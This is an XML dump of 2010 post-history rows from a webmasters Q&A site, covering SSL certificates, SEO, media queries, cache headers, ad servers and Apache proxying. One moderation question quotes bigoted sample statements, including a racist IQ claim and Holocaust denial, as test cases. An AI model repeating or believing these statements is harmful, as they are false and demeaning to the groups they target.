  <row Id="2625" PostHistoryTypeId="2" PostId="1453" RevisionGUID="1979b63a-0851-4835-88c3-4a41a7536bbd" CreationDate="2010-07-22T02:43:10.583" UserId="156" Text="If you are securing multiple subdomains, you might want to use [wildcard certificates][1], which (depending on how many subdomains you are securing) could work out significantly cheaper than buying one per domain; for example RapidSSL has the wildcard getting cheaper than the individual certs once you have four domains in use.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wiki.cacert.org/WildcardCertificates" />
  <row Id="2626" PostHistoryTypeId="2" PostId="1454" RevisionGUID="08f09146-e7b0-4095-940c-97844bd2ef18" CreationDate="2010-07-22T02:58:52.980" UserId="108" Text="I think saying Wordpress is the defacto SEO weapon of choice is incorrect because SEO deals with all web pages, Wordpress only deals with blogs and a few other site type.  &#xD;&#xA;&#xD;&#xA;SEO is about optimizing your site for search engines.  Wordpress is an application for making a blog.  &#xD;&#xA;&#xD;&#xA;Sure Wordpress is very search engine optimized but so are thousands of other sites that have nothing to do with blogs and don't use Wordpress.&#xD;&#xA;&#xD;&#xA;So my point is Wordpress is great at SEO but that doesn't mean anything else can't be or isn't" />
  <row Id="2627" PostHistoryTypeId="2" PostId="1455" RevisionGUID="f02a9ab6-4c36-40ea-8ab1-6b86b593da6a" CreationDate="2010-07-22T04:01:44.447" UserId="953" Text="http://isie6dead.com/ although this link was more dynamic a week or so ago, the point underlying its existence is still valid: there are way too many IE6 browsers out there and will continue to be [probably for the next decade][1].&#xD;&#xA;&#xD;&#xA;For my own personal projects, if you are using IE6, I don't care if my site causes monkeys to fly out of your posterior. For a job, the requirements may be different, and in general, the more public and older your target audience is, the more likely your site will see IE6 on 640x480x4.&#xD;&#xA;&#xD;&#xA;This question cannot be accurately answered without a specified audience and completely ignores the burgeoning hordes of iPhony devices.&#xD;&#xA;&#xD;&#xA;  [1]: http://news.bbc.co.uk/2/hi/technology/8196242.stm" />
  <row Id="2628" PostHistoryTypeId="2" PostId="1456" RevisionGUID="a8f05d07-35df-49e7-87a6-2b228682f2f6" CreationDate="2010-07-22T04:30:56.640" UserId="179" Text="In modern browsers you can target &lt;em&gt;ranges&lt;/em&gt; with &lt;a href=&quot;http://www.w3.org/TR/css3-mediaqueries/&quot;&gt;Media Queries&lt;/a&gt;. They're awesome. Assuming you don't care about IE &amp;ndash; although IE9 promises support for them. Conditional comments can be used to send a lowest-common-denominator-resolution to IE, or JavaScript can be used to dynamically load stylesheets. Loading CSS through JavaScript dynamically is, in my opinion, an &lt;em&gt;awful&lt;/em&gt; idea.&#xD;&#xA;&#xD;&#xA;A web designer named Jon Hicks &lt;a href=&quot;http://hicksdesign.co.uk/journal/finally-a-fluid-hicksdesign&quot;&gt;recently redesigned&lt;/a&gt; his website using them, go there and change the size of your browser window to see an example of how they work. There are layouts from 1- to 4-column, depending on your current maximum viewport width." />
  <row Id="2629" PostHistoryTypeId="5" PostId="1456" RevisionGUID="aee23dde-43a7-4f82-b61d-a3c97fca9ffb" CreationDate="2010-07-22T04:35:59.113" UserId="179" Comment="More advantages.; added 342 characters in body" Text="A more global &lt;a href=&quot;http://www.webdevelopersnotes.com/design/web-screen-resolution-usage-statistics.php&quot;&gt;set of statistics&lt;/a&gt; indicate that &lt;code&gt;1024x768&lt;/code&gt; is indeed the most popular resolution, however the distribution of users is very different. Also note that netbooks, they suppose, are helping &lt;code&gt;800x600&lt;/code&gt; hang on.&#xD;&#xA;&#xD;&#xA;In modern browsers you can target &lt;em&gt;ranges&lt;/em&gt; with &lt;a href=&quot;http://www.w3.org/TR/css3-mediaqueries/&quot;&gt;Media Queries&lt;/a&gt;. They're awesome. Assuming you don't care about IE &amp;ndash; although IE9 promises support for them. Conditional comments can be used to send a lowest-common-denominator-resolution to IE, or JavaScript can be used to dynamically load stylesheets. Loading CSS through JavaScript dynamically is, in my opinion, an &lt;em&gt;awful&lt;/em&gt; idea.&#xD;&#xA;&#xD;&#xA;A web designer named Jon Hicks &lt;a href=&quot;http://hicksdesign.co.uk/journal/finally-a-fluid-hicksdesign&quot;&gt;recently redesigned&lt;/a&gt; his website using them, go there and change the size of your browser window to see an example of how they work. There are layouts from 1- to 4-column, depending on your current maximum viewport width.&#xD;&#xA;&#xD;&#xA;Media Queries allow you to not have to stress about things like &quot;Will my site support the iPhone and iPad?&quot; or &quot;How can I target X device's screen size to maintain usability?&quot;. You just build designs for as many screen sizes as you want to support and the Media Queries will take care of the rest, depending on the user's browser when they get there." />
  <row Id="2630" PostHistoryTypeId="5" PostId="1415" RevisionGUID="fbb2f560-da1a-4ea3-8306-a15fcf42da37" CreationDate="2010-07-22T05:04:34.333" UserId="480" Comment="added 57 characters in body" Text="In order to be able to re-use code you can always look at XSLT for the generation of landing pages and then have XML/JSON interfaces for AJAX (utilising the XML interface for the XSLT landing pages).&#xD;&#xA;&#xD;&#xA;You would normally allow the content and interaction to work on a RESTful interface with a /json/... and /xml/... prefix and host your main content, converted into mark-up via XSLT on /...&#xD;&#xA;&#xD;&#xA;This way people can land on any page and suddenly have the full blown AJAX website. Spiders can crawl your site and you have concentrated on the content/interfaces first and foremost - seems like a win/win.&#xD;&#xA;&#xD;&#xA;Mobile websites sometimes need different layouts (bespoke iPhone only sites anyone?) a simple XSLT conversion here or there for different user clients can re-use everything you've done so far.&#xD;&#xA;&#xD;&#xA;Remember to design for simple HTML output and navigation, the AJAX simplifications can follow.&#xD;&#xA;&#xD;&#xA;*PS - Do the XSLT transformations server side*" />
  <row Id="2631" PostHistoryTypeId="5" PostId="1413" RevisionGUID="d49ae913-f57b-4a49-8ee7-a36e88c6def6" CreationDate="2010-07-22T05:10:13.857" UserId="480" Comment="added 37 characters in body" Text="What are the rules of engagement with respect to SEO in HTML 5?&#xD;&#xA;&#xD;&#xA;Examples of things we have been mulling over with no conclusion:&#xD;&#xA;&#xD;&#xA;- Are you penalised for not using &amp;lt;head&amp;gt; and &amp;lt;body&amp;gt; tags?&#xD;&#xA;&#xD;&#xA;- Do links in &amp;lt;nav&amp;gt; blocks get prioritised for follows?&#xD;&#xA;&#xD;&#xA;- With &amp;lt;aside&amp;gt; (no bside though), &amp;lt;section&amp;gt;, &amp;lt;summary&amp;gt; and &amp;lt;details&amp;gt; which ones carry the most weight for content, one-liner descriptions and keyword tags are there search engine implications?&#xD;&#xA;&#xD;&#xA;- If you use CSS to put a &amp;lt;footer&amp;gt; element at the top and a &amp;lt;header&amp;gt; element at the bottom (not that you would but it may be construed as such by an incomplete spider implementation)?&#xD;&#xA;&#xD;&#xA;- Does the use of placeholder attributes on &amp;lt;input&amp;gt; show you are more user focused?&#xD;&#xA;&#xD;&#xA;At the minute we are haphazardly pinning the content on the donkey with regard to tag usage but would be interesting to know if anyone has any insight into the &quot;correct&quot; tags to use with regards to SEO." />
  <row Id="2632" PostHistoryTypeId="2" PostId="1457" RevisionGUID="63af925f-530d-4346-9513-bd0254c2ba8b" CreationDate="2010-07-22T05:32:19.343" UserId="120" Text="**Check the worldwide browser market share statistics**&#xD;&#xA;&#xD;&#xA;[This question][1] provides a comprehensive list of sources to look up worldwide browser market share.&#xD;&#xA;&#xD;&#xA;Here are the top 3 2010 averages for [StatOwl][2]:&#xD;&#xA;&#xD;&#xA;    1024x768    26.75%&#xD;&#xA;    1280x800	18.69%&#xD;&#xA;    1280x1024   11.57%&#xD;&#xA;&#xD;&#xA;Here are the top 3 2010 averages for [Net Applications][3]:&#xD;&#xA;&#xD;&#xA;    1024x768    24.27%&#xD;&#xA;    1280x800    17.98%&#xD;&#xA;    1280x1024   10.83% &#xD;&#xA;&#xD;&#xA;According to the data, your resolution minimum should be 1024x800 but it also depends on your demographic.&#xD;&#xA;&#xD;&#xA;If your site is geared toward a more corporate audience stick to 800x600. A lot of corporate networks are still running really old hardware with Windows 2000. If that's the user base you're targeting, using the 'current norm' of screen resolutions may alienate your audience.&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/587/what-is-the-best-browser-market-share-data-source&#xD;&#xA;  [2]: http://www.statowl.com/screen_resolution.php&#xD;&#xA;  [3]: http://marketshare.hitslink.com/report.aspx?qprid=17" />
  <row Id="2633" PostHistoryTypeId="5" PostId="627" RevisionGUID="b3f22e19-84bd-4060-880f-2f69187ba2d8" CreationDate="2010-07-22T05:51:52.083" UserId="180" Comment="minor phrasing" Text="I have a site that is generating about 120k monthly page views and is being hosted on a shared FreBSD server where I have access to PHP and MySQL. I am using some custom PHP server-side scripts that give each of my ad networks (AdSense, Tribal Fusion, etc) an adjustable percentage of impressions in each of the ad positions on my pages.&#xD;&#xA;&#xD;&#xA;I am looking for a better way of managing and measuring the delivery of these ads, and would also like to be able to take direct placements and provide statistics to the clients.&#xD;&#xA;&#xD;&#xA;I am looking at options including [OpenX self-hosted][1], [OpenX community][2], and [Google DoubleClick for Publishers Small Business][3] (DFP), but am having difficulty determining which one will best meet my needs.  They all seem to have pretty steep learning curves compared to my simple scripts.&#xD;&#xA;&#xD;&#xA;What I have taken away so far as the benefit of self-hosting is that I don't have to pay for the service if I exceed a maximum number of ad impressions, while both OpenX Community and DFP have free impression limits.  Of course, if I was doing those kind of numbers I'd need to upgrade my hosting account, but I'm not sure even at that point whether it would be cheaper to serve the ads myself than pay for a premium service.&#xD;&#xA;&#xD;&#xA;Apart from this, I really need insights into what features differentiate these services, why I might want to choose one over another, and if there are any other competing products or service of the same quality that I should look into.  Answers from webmasters who have used both (or all three) services and can talk to usability and ease of ad management would be highly appreciated.&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;&#xD;&#xA;  [1]: http://www.openx.org/ad-server/download&#xD;&#xA;  [2]: http://www.openx.org/en/ad-server&#xD;&#xA;  [3]: https://www.google.com/dfp/info/sb/index.html" />
  <row Id="2634" PostHistoryTypeId="2" PostId="1458" RevisionGUID="62432685-3484-46a6-9c2d-f9ecf4bc34df" CreationDate="2010-07-22T06:22:16.330" UserId="950" Text="I use blueprint, for CSS.  &#xD;&#xA;CSS is, as everyone above says, really straightforward.&#xD;&#xA;&#xD;&#xA;However, in reality, you have to consider the platform. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;With CSS  the rendering engine  adds to the complexity.&#xD;&#xA;&#xD;&#xA;Gecko vs WebKit vs Presto vs Trident... who wants to do all that stuff? &#xD;&#xA;&#xD;&#xA;What a 'framework' gives you here, is the ability to write layouts that will most likely work on all browsers, so you wont have to go googling for the 'WTF-am-I-doing=-this-crap' IE 7 quirksmode fix, or something similarly ludicrous.&#xD;&#xA;&#xD;&#xA;Frameworks will do 90% of the layout you want, and then you can always add in your own styles later.  &#xD;&#xA;&#xD;&#xA;So, to answer the question, I'd say pick any framework and see if it works for you.  It just might.  Then you are golden, and can get back to whatever you actually wanted to do.  If not, then extend it, using css and change what did not work. That way you maintain the cross browser benefit, but still can customize.&#xD;&#xA;&#xD;&#xA;As a small benefit, if you pick one and use it all the time, and then are taken ill, or get promoted and have to train your successor, you can say:&#xD;&#xA;&#xD;&#xA;&quot;Yes, I used framework ABC.  Docs are here.  Code is there.  Training over. Good luck.&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2635" PostHistoryTypeId="5" PostId="627" RevisionGUID="df4d627e-2be1-42ef-b84c-73c2d640da1d" CreationDate="2010-07-22T08:16:05.547" UserDisplayName="delete" Comment="added 1 characters in body" Text="I have a site that is generating about 120k monthly page views and is being hosted on a shared FreeBSD server where I have access to PHP and MySQL. I am using some custom PHP server-side scripts that give each of my ad networks (AdSense, Tribal Fusion, etc) an adjustable percentage of impressions in each of the ad positions on my pages.&#xD;&#xA;&#xD;&#xA;I am looking for a better way of managing and measuring the delivery of these ads, and would also like to be able to take direct placements and provide statistics to the clients.&#xD;&#xA;&#xD;&#xA;I am looking at options including [OpenX self-hosted][1], [OpenX community][2], and [Google DoubleClick for Publishers Small Business][3] (DFP), but am having difficulty determining which one will best meet my needs.  They all seem to have pretty steep learning curves compared to my simple scripts.&#xD;&#xA;&#xD;&#xA;What I have taken away so far as the benefit of self-hosting is that I don't have to pay for the service if I exceed a maximum number of ad impressions, while both OpenX Community and DFP have free impression limits.  Of course, if I was doing those kind of numbers I'd need to upgrade my hosting account, but I'm not sure even at that point whether it would be cheaper to serve the ads myself than pay for a premium service.&#xD;&#xA;&#xD;&#xA;Apart from this, I really need insights into what features differentiate these services, why I might want to choose one over another, and if there are any other competing products or service of the same quality that I should look into.  Answers from webmasters who have used both (or all three) services and can talk to usability and ease of ad management would be highly appreciated.&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;&#xD;&#xA;  [1]: http://www.openx.org/ad-server/download&#xD;&#xA;  [2]: http://www.openx.org/en/ad-server&#xD;&#xA;  [3]: https://www.google.com/dfp/info/sb/index.html" />
  <row Id="2636" PostHistoryTypeId="2" PostId="1459" RevisionGUID="5097d28d-e00c-4c36-9cac-3f21f907a057" CreationDate="2010-07-22T08:28:45.720" UserId="480" Text="**Confession**: sites I maintain have different rules for Cache Control mostly based on the default configuration of the server followed up with recommendations from the [Page Speed][1] &amp; [Y-Slow][2] Firefox plug-ins and the Network Resources view in Google's [Speed Tracer][3]. Cache-Control is set to private/public depending on what they say to do, ETag's/Last-Modified headers are only tinkered with if Y-Slow suggests there is something wrong and Vary-Accept-Encoding seems necessary when manually gziping files for Amazon CloudFront.&#xD;&#xA;&#xD;&#xA;When reading through the material on the different options and what they do there seems to be conflicting information, rules for broken proxies and [cargo cult][4] configurations. Any of the official information provided by the analysis tools mentioned above is quite inaccessible as it deals with each topic individually instead of as a unified strategy (so there is no cross-referencing of techniques).&#xD;&#xA;&#xD;&#xA;For example, it seems to make no sense that the speed analysis tools rate a site with ETag's the same as a site without them if they are meant to help with caching.&#xD;&#xA;&#xD;&#xA;**What are the hard and fast rules for a platform agnostic Cache Control strategy?**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/speed/page-speed/&#xD;&#xA;  [2]: http://developer.yahoo.com/yslow/&#xD;&#xA;  [3]: https://chrome.google.com/extensions/detail/ognampngfcbddbfemdapefohjiobgbdl&#xD;&#xA;  [4]: http://en.wikipedia.org/wiki/Cargo_cult" />
  <row Id="2637" PostHistoryTypeId="1" PostId="1459" RevisionGUID="5097d28d-e00c-4c36-9cac-3f21f907a057" CreationDate="2010-07-22T08:28:45.720" UserId="480" Text="What are the hard and fast rules for Cache Control?" />
  <row Id="2638" PostHistoryTypeId="3" PostId="1459" RevisionGUID="5097d28d-e00c-4c36-9cac-3f21f907a057" CreationDate="2010-07-22T08:28:45.720" UserId="480" Text="&lt;best-practice&gt;&lt;cache-control&gt;" />
  <row Id="2639" PostHistoryTypeId="2" PostId="1460" RevisionGUID="9ac248e8-cdfd-4b72-994b-f845621965e5" CreationDate="2010-07-22T08:34:45.923" UserId="711" Text="The main thing I would keep in mind at the moment is that if your pages rely on meta-tags, you will want to test and monitor their acceptance regularly. For instance, for Google Webmaster Tools, if you want to verify ownership via meta-tag, you will have to place it in a &quot;head&quot; element (there are other ways to verify ownership, so generally that's not a problem -- but if you need to rely on meta-tag-based verification, then that's something to keep in mind). The same may apply to other meta-tags such as the &quot;robots&quot; meta tag to control indexing of your pages: since the acceptance outside of a &quot;head&quot; section may vary from search engine to search engine, that's something I'd recommend monitoring regularly (or perhaps it's just easier to use a traditional &quot;head&quot; section for the moment if you need to be absolutely certain). &#xD;&#xA;&#xD;&#xA;For the rest, as others have mentioned, I wouldn't assume that it would be treated in a special way at the moment. These things are still in flux... once they settle down and it's found that treating them in a different way significantly improves the ability to understand content on a page, then you might start seeing changes in the handling of those elements." />
  <row Id="2640" PostHistoryTypeId="5" PostId="1425" RevisionGUID="5a1453cb-5d8a-45d6-a16f-4dda96a8157d" CreationDate="2010-07-22T08:45:52.260" UserId="288" Comment="disclaimer" Text="[W3Schools](http://www.w3schools.com/browsers/browsers_display.asp) (for example) has some statistics on browser displays. As of January 2010:&#xD;&#xA;&#xD;&#xA;    Higher    1024x768    800x600    640x480    Unknown&#xD;&#xA;    76%       20%         1%         0%         3%&#xD;&#xA;&#xD;&#xA;The Higher figure links to a [new table](http://www.w3schools.com/browsers/browsers_resolution_higher.asp). From the figures it looks like 1024x768 is the effective minimum screen resolution. However, you should remember that not everybody runs their browser in full screen mode.&#xD;&#xA;&#xD;&#xA;There's also a [Browser statistics](http://www.w3schools.com/browsers/browsers_stats.asp) page. The browsers are broken down by version (e.g [Firefox](http://www.w3schools.com/browsers/browsers_firefox.asp)). With browsers like Firefox and Chrome it does appear that the majority are using the latest (non beta) versions. I suspect that this is because they auto-update.&#xD;&#xA;&#xD;&#xA;Other statistics sites are available and you should probably consult a range to get a better picture of browser usage and screen resolutions." />
  <row Id="2641" PostHistoryTypeId="5" PostId="1425" RevisionGUID="a5418a00-bf5a-43a3-8d24-5f9be0004a17" CreationDate="2010-07-22T09:03:56.010" UserId="288" Comment="clarification" Text="[W3Schools](http://www.w3schools.com/browsers/browsers_display.asp) (for example) has some statistics on browser displays. As of January 2010:&#xD;&#xA;&#xD;&#xA;    Higher    1024x768    800x600    640x480    Unknown&#xD;&#xA;    76%       20%         1%         0%         3%&#xD;&#xA;&#xD;&#xA;The Higher figure links to a [new table](http://www.w3schools.com/browsers/browsers_resolution_higher.asp). From the figures it looks like 1024x768 is the effective minimum screen resolution. However, you should remember that not everybody runs their browser in full screen mode.&#xD;&#xA;&#xD;&#xA;There's also a [Browser statistics](http://www.w3schools.com/browsers/browsers_stats.asp) page. The browsers are broken down by version (e.g [Firefox](http://www.w3schools.com/browsers/browsers_firefox.asp)). With browsers like Firefox and Chrome it does appear that the majority are using the latest (non beta) versions. I suspect that this is because they auto-update.&#xD;&#xA;&#xD;&#xA;Other, more general, statistics sites are available and you should probably consult a range to get a better picture of browser usage and screen resolutions across the internet as a whole." />
  <row Id="2642" PostHistoryTypeId="2" PostId="1461" RevisionGUID="25c55eb7-b0ef-460b-8179-75caeb3f72c8" CreationDate="2010-07-22T09:08:54.203" UserId="914" Text="The first thing you need to do is determine the target demographic who will be using your web app. For instance, if you are targeting a predominantly wealthy US/European audience (such as selling high-end products or a hi-tech magazine site) then you'll have quite different requirements than if, for instance, you are making a web-app that is aimed at older people, people in less developed countries etc. where old PCs and low resolutions still predominate. I know from experience, for instance, that many local government clients in the UK still (shamefully) use IE6 as their only browser, which could be a major factor if they are your client.&#xD;&#xA;&#xD;&#xA;You then have to take into account that many people access websites on mobile devices - smartphones, netbooks, tablets and the like. These can have 'strange' resolutions or have a higher percentage of users of browsers such as Safari, Chrome and Opera Mobile. They can also have different accessibility requirements or may require different style-sheets.&#xD;&#xA;&#xD;&#xA;One of the best ways is to use [Google Analytics][1] (perhaps from an existing site) to determine your actual audience. You can then get actual figures to see browser breakdowns and resolution breakdowns that will help you decide what is right for *you*. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/analytics/" />
  <row Id="2643" PostHistoryTypeId="5" PostId="1432" RevisionGUID="45cca8d5-4c5a-41bf-8c99-0ab6f08e8a03" CreationDate="2010-07-22T09:52:28.920" UserId="702" Comment="added 297 characters in body" Text="I'm no expert on web development, and need to find a way to let the browser call a PHP routine on the server with the current document ID as parameter, eg.&#xD;&#xA;&#xD;&#xA;http://www.acme.com/index.php?id=1&#xD;&#xA;&#xD;&#xA;I then need to call eg. /change.php with id=1 to do something about that document.&#xD;&#xA;&#xD;&#xA;Unless I'm mistaken, there are three ways for the client to return this information:&#xD;&#xA;&#xD;&#xA;- if passed as argument in the URL (as above), it will be available as HTTP referrer&#xD;&#xA;- by including it as hidden field in &lt;form&gt;&#xD;&#xA;- by sending it as cookie&#xD;&#xA;&#xD;&#xA;I suppose using a hidden field is the most obvious choice. Are there other ways? Which solution would you recommend? Any security issues to be aware?&#xD;&#xA;&#xD;&#xA;Thank you.&#xD;&#xA;&#xD;&#xA;------&#xD;&#xA;&#xD;&#xA;Edit: I needed a way for the client to learn some of the information returned by the server, such as the document ID. Apparently, the right way to solve my problem is by changing the server-side code so that this information is included in hyperlinks/forms included in the HTML page." />
  <row Id="2644" PostHistoryTypeId="2" PostId="1462" RevisionGUID="b064ab46-586f-476f-a88f-ec84417c21c5" CreationDate="2010-07-22T09:55:58.450" UserId="233" Text="First, don't get rid of the ETag like Yahoo says, unless you're using a server farm/cluster. As long as the same file always returns the same ETag when it hasn't changed, then it's a very useful directive.&#xD;&#xA;&#xD;&#xA;As for other headers, Yahoo's [best practices][1] page explains things fairly well: set a far future `Expires` header for static files, use `Cache-Control` for dynamic content.&#xD;&#xA;&#xD;&#xA;When you change cached static files you will need to change the filename, or add a unique parameter to the end, e.g. `example.com/styles.css?v=2`&#xD;&#xA;&#xD;&#xA;Incidentally, you can edit the YSlow rules to your liking, to remove the Etag rule and add your own domain as a CDN. This article is also a good read: [Yahoo's Problems Are Not Your Problems][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://developer.yahoo.com/performance/rules.html#expires&#xD;&#xA;  [2]: http://www.codinghorror.com/blog/2007/08/yslow-yahoos-problems-are-not-your-problems.html" />
  <row Id="2645" PostHistoryTypeId="10" PostId="1408" RevisionGUID="d16b3bcb-3765-452a-b494-652c5a578034" CreationDate="2010-07-22T10:24:10.910" UserId="-1" CloseReasonId="2" Text="[{&quot;Id&quot;:108,&quot;DisplayName&quot;:&quot;RandomBen&quot;},{&quot;Id&quot;:155,&quot;DisplayName&quot;:&quot;Kinopiko&quot;},{&quot;Id&quot;:180,&quot;DisplayName&quot;:&quot;JasonBirch&quot;},{&quot;Id&quot;:138,&quot;DisplayName&quot;:&quot;Farseeker&quot;},{&quot;Id&quot;:233,&quot;DisplayName&quot;:&quot;DisgruntledGoat&quot;}]" />
  <row Id="2646" PostHistoryTypeId="2" PostId="1463" RevisionGUID="d479ed61-13b7-4d2a-a297-69832e8baf59" CreationDate="2010-07-22T10:32:49.233" UserId="576" Text="As mentioned in a [older post][1], the [Wikipedia article on browser market share][2] consolidates information from 6 major sources and that stats is probably most effective in deciding which are the important browsers to target.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/587/what-is-the-best-browser-market-share-data-source&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Usage_share_of_web_browsers#Summary_table" />
  <row Id="2647" PostHistoryTypeId="2" PostId="1464" RevisionGUID="5a7851c7-33f2-43b7-a61c-4c0bd85701d0" CreationDate="2010-07-22T10:37:56.497" UserDisplayName="delete" Text="There are lots of posts on Google's forums about Evony and their shady tactics:&#xD;&#xA;&#xD;&#xA;http://www.google.com/support/forum/p/AdSense/thread?tid=7c9ef267b8b3c01f&amp;hl=en&#xD;&#xA;&#xD;&#xA;http://www.google.com/support/forum/p/AdSense/thread?tid=504b2e4035058e1d&amp;hl=en&#xD;&#xA;&#xD;&#xA;evonyonline.com definitely doesn't work any more.&#xD;&#xA;&#xD;&#xA;I don't know why Google doesn't stop these monkeys.&#xD;&#xA;&#xD;&#xA;Does anyone know how to nuke Evony's latest garbage? I have about twenty filters but I am still seeing Evony ads on my site.&#xD;&#xA;" />
  <row Id="2648" PostHistoryTypeId="1" PostId="1464" RevisionGUID="5a7851c7-33f2-43b7-a61c-4c0bd85701d0" CreationDate="2010-07-22T10:37:56.497" UserDisplayName="delete" Text="Does anyone know how to block Evony?" />
  <row Id="2649" PostHistoryTypeId="3" PostId="1464" RevisionGUID="5a7851c7-33f2-43b7-a61c-4c0bd85701d0" CreationDate="2010-07-22T10:37:56.497" UserDisplayName="delete" Text="&lt;advertising&gt;&lt;google-adsense&gt;" />
  <row Id="2650" PostHistoryTypeId="2" PostId="1465" RevisionGUID="4dd799f1-7851-4c3f-ac31-88e8e661f7ae" CreationDate="2010-07-22T11:33:28.503" UserId="957" Text="www.mixpanel.com is free for low volume.  If you put their badge on your site, you get the $50 plan free" />
  <row Id="2651" PostHistoryTypeId="2" PostId="1466" RevisionGUID="b0d6a76a-1dc1-4813-813e-07a87481bbcc" CreationDate="2010-07-22T11:40:43.187" UserId="957" Text="Is it alright to use multiple analytics packages (Google, clicky, mixpanel, etc) at the same time on the same site?  Would it be more beneficial to just use one package?" />
  <row Id="2652" PostHistoryTypeId="1" PostId="1466" RevisionGUID="b0d6a76a-1dc1-4813-813e-07a87481bbcc" CreationDate="2010-07-22T11:40:43.187" UserId="957" Text="Is it a bad idea to use multiple analytic packages?" />
  <row Id="2653" PostHistoryTypeId="3" PostId="1466" RevisionGUID="b0d6a76a-1dc1-4813-813e-07a87481bbcc" CreationDate="2010-07-22T11:40:43.187" UserId="957" Text="&lt;analytics&gt;" />
  <row Id="2654" PostHistoryTypeId="2" PostId="1467" RevisionGUID="a3bdb0b5-3118-47b7-b0a1-a692ce0c51bf" CreationDate="2010-07-22T11:47:37.887" UserId="957" Text="[Sitecore][1] is a powerhouse commercial CMS, but is somewhat expensive.  It has a very expansive editor UI, with all types of customization.&#xD;&#xA;&#xD;&#xA;  [1]:http://www.sitecore.net" />
  <row Id="2655" PostHistoryTypeId="16" PostId="1467" RevisionGUID="a3bdb0b5-3118-47b7-b0a1-a692ce0c51bf" CreationDate="2010-07-22T11:47:37.887" UserId="-1" />
  <row Id="2656" PostHistoryTypeId="2" PostId="1468" RevisionGUID="9a78285e-f57e-4d0c-8df8-1827bbe978c7" CreationDate="2010-07-22T11:53:53.087" UserId="480" Text="It depends whether you *really* need the extra features from a mixture of different packages.&#xD;&#xA;&#xD;&#xA;Anything that has a client side payload will erode some speed (and depending on the perspective) privacy for the user.&#xD;&#xA;&#xD;&#xA;Generally you will just use one analytics package that has everything you need in it - cross comparing between packages is often difficult so you will normally just stick to one." />
  <row Id="2657" PostHistoryTypeId="2" PostId="1469" RevisionGUID="25217f4d-2979-47d7-a26d-61c50dcdc84a" CreationDate="2010-07-22T12:08:29.000" UserId="923" Text="I have tomcat running on port 8080 and want a particular URL, lets say http://example.com/app, to actually point to example.com:8080/app&#xD;&#xA;&#xD;&#xA;I have other content on the website that should remain unchanged." />
  <row Id="2658" PostHistoryTypeId="1" PostId="1469" RevisionGUID="25217f4d-2979-47d7-a26d-61c50dcdc84a" CreationDate="2010-07-22T12:08:29.000" UserId="923" Text="How do you redirect port 80 to a different port using Apache" />
  <row Id="2659" PostHistoryTypeId="3" PostId="1469" RevisionGUID="25217f4d-2979-47d7-a26d-61c50dcdc84a" CreationDate="2010-07-22T12:08:29.000" UserId="923" Text="&lt;apache&gt;" />
  <row Id="2660" PostHistoryTypeId="2" PostId="1470" RevisionGUID="8a74389b-5c2a-45d9-9f4f-5f4938fcf28c" CreationDate="2010-07-22T12:12:44.747" UserId="69" Text="It sounds like what you want is not a redirect but actually a proxy. Check out the information found in the [mod_proxy config page][1]. You should end up with something like:&#xD;&#xA;&#xD;&#xA;    ProxyPass /app http://example.com:8080/app&#xD;&#xA;    ProxyPassReverse /app http://example.com:8080/app&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://httpd.apache.org/docs/2.2/mod/mod_proxy.html" />
  <row Id="2661" PostHistoryTypeId="5" PostId="1298" RevisionGUID="e7accbf5-ed41-4319-bdab-6657aa8f19a8" CreationDate="2010-07-22T12:16:02.760" UserId="9301" Comment="added 598 characters in body; edited tags" Text="Do **you** censor user generated content that's not illegal and doesn't personally attack another user of your website for being hate speech?&#xD;&#xA;If so, where do **you** draw the line?&#xD;&#xA;&#xD;&#xA;EDIT: A few cases where different people might have different ideas about whether speech should be censored:&#xD;&#xA;&#xD;&#xA;*&quot;I would never vote for Obama because he's black and blacks have a lower IQ than whites&quot;*&#xD;&#xA;&#xD;&#xA;*&quot;Homosexuality is a crime, just because some countries have legalized homosexuality doesn't mean that it isn't.&quot;*&#xD;&#xA;&#xD;&#xA;*&quot;Israelis should go home to where they came from.&quot;*&#xD;&#xA;&#xD;&#xA;*&quot;The holocaust never happened.&quot;*&#xD;&#xA;&#xD;&#xA;*&quot;Everyone who voted for Bush has blood on their hands.&quot;*&#xD;&#xA;&#xD;&#xA;*&quot;All Republicans are racist.&quot;*&#xD;&#xA;&#xD;&#xA;What principle would you use to decide which of those statements are hate speech?" />
  <row Id="2662" PostHistoryTypeId="6" PostId="1298" RevisionGUID="e7accbf5-ed41-4319-bdab-6657aa8f19a8" CreationDate="2010-07-22T12:16:02.760" UserId="9301" Comment="added 598 characters in body; edited tags" Text="&lt;moderation&gt;&lt;community-management&gt;&lt;subjective&gt;" />
  <row Id="2663" PostHistoryTypeId="2" PostId="1471" RevisionGUID="25289bdc-b236-4775-9c7e-789ac95d3940" CreationDate="2010-07-22T12:35:54.950" UserId="233" Text="At the end of the forum topic you posted, a Google employee says you should block **evonytwo.com** (although some users still report problems). There are also various posts with long lists of URLs to block.&#xD;&#xA;&#xD;&#xA;Personally I haven't seen an evony ad on my site since I blocked evonyonline.com but I don't know if that's because of the blocking or just because AdSense is deciding the ads are not relevant to my site any more." />
  <row Id="2664" PostHistoryTypeId="2" PostId="1472" RevisionGUID="08550fa8-9f65-4fd3-8b16-c2f374ec6dfe" CreationDate="2010-07-22T12:44:56.507" UserId="914" Text="I'd certainly only use one client-side analytic package (i.e. one that uses JavaScript to communicate hits to a third party website like Google Analytics). There's a performance hit with these, as the user has to first load all the JavaScript and then, possibly, have to wait until the package has communicated back to the server (if it's synchronous). Multiple ones can slow page loads and possibly conflict with each other or give erroneous results.&#xD;&#xA;&#xD;&#xA;However, it doesn't hurt to also have a server-side analytics package that analyses your webserver log(s). These can give you info that you don't get in a client-based one (for instance, info about bots and other crawlers and also stats for things like images views and other files that aren't page hits)." />
